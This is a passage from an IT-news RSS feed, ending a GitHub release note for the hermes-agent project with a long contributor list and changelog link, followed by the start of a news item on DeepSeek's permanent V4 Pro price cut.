<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dgians/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dgians">@dgians</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dillweed/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dillweed">@dillweed</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoGMaTiiC/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoGMaTiiC">@DoGMaTiiC</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/donovan-yohan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/donovan-yohan">@donovan-yohan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draplater/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draplater">@draplater</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Drexuxux/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Drexuxux">@Drexuxux</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dskwe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dskwe">@dskwe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dsr-restyn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dsr-restyn">@dsr-restyn</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dusterbloom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dusterbloom">@dusterbloom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/duyua9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/duyua9">@duyua9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/egilewski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/egilewski">@egilewski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/el-analista/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/el-analista">@el-analista</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eliteworkstation94-ai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eliteworkstation94-ai">@eliteworkstation94-ai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eloklam/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eloklam">@eloklam</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EloquentBrush0x/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EloquentBrush0x">@EloquentBrush0x</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emonty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emonty">@emonty</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/emozilla/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/emozilla">@emozilla</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erhnysr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erhnysr">@erhnysr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erikengervall/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erikengervall">@erikengervall</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ether-btc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ether-btc">@ether-btc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/EvilHumphrey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/EvilHumphrey">@EvilHumphrey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fabiosiqueira/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fabiosiqueira">@fabiosiqueira</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falasi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falasi">@falasi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/falconexe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/falconexe">@falconexe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fardoche6/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fardoche6">@fardoche6</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/felix-windsor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/felix-windsor">@felix-windsor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Fewmanism/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Fewmanism">@Fewmanism</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ffr31mr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ffr31mr">@ffr31mr</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flamiinngo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flamiinngo">@flamiinngo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flanny7/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flanny7">@flanny7</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/flooryyyy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/flooryyyy">@flooryyyy</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fonhal/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fonhal">@fonhal</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/francip/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/francip">@francip</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fujinice/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fujinice">@fujinice</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gianfrancopiana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gianfrancopiana">@gianfrancopiana</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/glennc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/glennc">@glennc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Glucksberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Glucksberg">@Glucksberg</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/godlin-gh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/godlin-gh">@godlin-gh</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Grogger/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Grogger">@Grogger</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/guillaumemeyer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/guillaumemeyer">@guillaumemeyer</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gutslabs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gutslabs">@Gutslabs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/H-Ali13381/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/H-Ali13381">@H-Ali13381</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hanzckernel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hanzckernel">@hanzckernel</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/haran2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/haran2001">@haran2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hawknewton/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hawknewton">@hawknewton</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hayka-pacha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hayka-pacha">@hayka-pacha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hehehe0803/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hehehe0803">@hehehe0803</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/HenkDz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/HenkDz">@HenkDz</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/Hermes/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hermes">@Hermes</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hermesagent26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hermesagent26">@hermesagent26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Hinotoi-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Hinotoi-agent">@Hinotoi-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hongchen1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hongchen1993">@hongchen1993</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/honor2030/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/honor2030">@honor2030</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/houenyang-momo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/houenyang-momo">@houenyang-momo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ht1072/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ht1072">@ht1072</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hueilau/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hueilau">@hueilau</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iamfoz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iamfoz">@iamfoz</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ilonagaja509-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ilonagaja509-glitch">@ilonagaja509-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/InB4DevOps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/InB4DevOps">@InB4DevOps</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/indigokarasu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/indigokarasu">@indigokarasu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Interstellar-code/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Interstellar-code">@Interstellar-code</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iqdoctor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iqdoctor">@iqdoctor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/iRonin/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/iRonin">@iRonin</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jaaneek/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jaaneek">@Jaaneek</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JabberELF/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JabberELF">@JabberELF</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jacevys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jacevys">@jacevys</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackey8616/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackey8616">@jackey8616</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackjin1997/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackjin1997">@jackjin1997</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jdelmerico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jdelmerico">@jdelmerico</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jfuenmayor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jfuenmayor">@jfuenmayor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jiahui-Gu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jiahui-Gu">@Jiahui-Gu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joe102084/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joe102084">@joe102084</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnC1009/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnC1009">@JohnC1009</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpol01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpol01">@jonpol01</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jpalmer95/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jpalmer95">@Jpalmer95</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Julientalbot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Julientalbot">@Julientalbot</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justemu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justemu">@justemu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justincc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justincc">@justincc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jvinals/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jvinals">@jvinals</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/karthikeyann/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/karthikeyann">@karthikeyann</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kasunvinod/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kasunvinod">@kasunvinod</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kchuang1015/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kchuang1015">@kchuang1015</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kenyonxu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kenyonxu">@kenyonxu</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/khungate/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/khungate">@khungate</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kiranvk-2011/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kiranvk-2011">@kiranvk-2011</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kjames2001/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kjames2001">@kjames2001</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/konsisumer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/konsisumer">@konsisumer</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kpadilha/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kpadilha">@kpadilha</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kriscolab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kriscolab">@kriscolab</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/krislidimo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/krislidimo">@krislidimo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kronexoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kronexoi">@kronexoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kunci115/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kunci115">@kunci115</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kylejeong2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kylejeong2">@Kylejeong2</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kylekahraman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kylekahraman">@kylekahraman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LaPhilosophie/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LaPhilosophie">@LaPhilosophie</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/leeseoki0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/leeseoki0">@leeseoki0</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lemassykoi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lemassykoi">@lemassykoi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Lempkey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Lempkey">@Lempkey</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonJS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonJS">@LeonJS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LeonSGP43/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LeonSGP43">@LeonSGP43</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lidge-jun/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lidge-jun">@lidge-jun</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LifeJiggy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LifeJiggy">@LifeJiggy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LizerAIDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LizerAIDev">@LizerAIDev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loicnico96/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loicnico96">@loicnico96</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/loongfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/loongfay">@loongfay</a>, @m0n3r0, @malaiwah, @matthewlai, @mavrickdeveloper, @maxmilian, @McClean-Edison, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/memosr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/memosr">@memosr</a>,<br>
@Mind-Dragon, @momowind, @MoonJuhan, @MoonRay305, @moortekweb-art, @MorAlekss, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ms-alan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ms-alan">@ms-alan</a>, @Nami4D,<br>
@nehaaprasaad, @nekwo, @nftpoetrist, @NickLarcombe, @nidhi-singh02, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Niraven/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Niraven">@Niraven</a>, @nnnet, @noctilust, @novax635,<br>
@nthrow, @nv-kasikritc, @nycomar, @OCWC22, @oemtalks, @OmX, @ooovenenoso, @orcool, @oseftg, @outsourc-e,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, @Paperclip, @PaTTeeL, @pepelax, @phoenixshen, @Pluviobyte, @pnascimento9596, @pochi-gio, @pr7426,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PratikRai0101/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PratikRai0101">@PratikRai0101</a>, @Prithvi1994, @psionic73, @ptichalouf, @Que0x, @QuenVix, @quocanh261997, @qWaitCrypto, @Qwinty,<br>
@r266-tech, @rak135, @rdasilva1016-ui, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rewbs/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rewbs">@rewbs</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>, @rodrigoeqnit, @RonHillDev, @roycepersonalassistant,<br>
@rudi193-cmd, @RyanRana, @sadiksaifi, @samahn0601, @samggggflynn, @SamuelZ12, @sanghyuk-seo-nexcube,<br>
@Saurav0989, @savanne-kham, @Schrotti77, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>, @SerenityTn, @sgtworkman, @sharziki, @shaun0927,<br>
@shellybotmoyer, @shunsuke-hikiyama, @SimbaKingjoe, @SimoKiihamaki, @sir-ad, @Slimydog21, @slowtokki0409,<br>
@Soju06, @someaka, @soynchux, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sprmn24/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sprmn24">@sprmn24</a>, @Stark-X, @steezkelly, @stepanov1975, @stephenschoettler,<br>
@stevehq26-bot, @steveonjava, @Strontvod, @subtract0, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>, @superearn-fisher, @Sylw3ster, @tchanee,<br>
@that-ambuj, @thedavidmurray, @TheOnlyMika, @therahul-yo, @thewillhuang, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ticketclosed-wontfix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ticketclosed-wontfix">@ticketclosed-wontfix</a>, @Timur00Kh,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tomqiaozc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tomqiaozc">@tomqiaozc</a>, @Tosko4, @Tranquil-Flow, @tw2818, @uzunkuyruk, @vaddisrinivas, @vanthinh6886, @vgocoder,<br>
@victorGPT, @vynxevainglory-ai, @waefrebeorn, @walli, @wangpuv, @wanwan2qq, @wesleysimplicio, @worlldz,<br>
@wpengpeng168, @WuKongAI-CMU, @wuli666, @Wysie, @wysie, @xxxigm, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yannsunn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yannsunn">@yannsunn</a>, @YanzhongSu, @YarrowQiao, @ygd58,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/YLChen-007/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/YLChen-007">@YLChen-007</a>, @yoniebans, @yu-xin-c, @YuanHanzhong, @zapabob, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zccyman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zccyman">@zccyman</a>, @ziliangpeng, @zwolniony, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a></p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.5.16...v2026.5.28">v2026.5.16...v2026.5.28</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[How DeepSeek’s radical architecture is shattering Silicon Valley's token moat]]></title>
<description><![CDATA[DeepSeek’s announcement over the weekend that it has made its 75% price cut permanent on its flagship V4 Pro model is a disruptive assault on the capital-heavy business models of Silicon Valley’s frontier labs. The reduction on DeepSeek V4 Pro directly undercuts comparable Western models used as ...]]></description>
<link>https://tsecurity.de/de/3555133/it-nachrichten/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3555133/it-nachrichten/how-deepseeks-radical-architecture-is-shattering-silicon-valleys-token-moat/</guid>
<pubDate>Thu, 28 May 2026 19:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
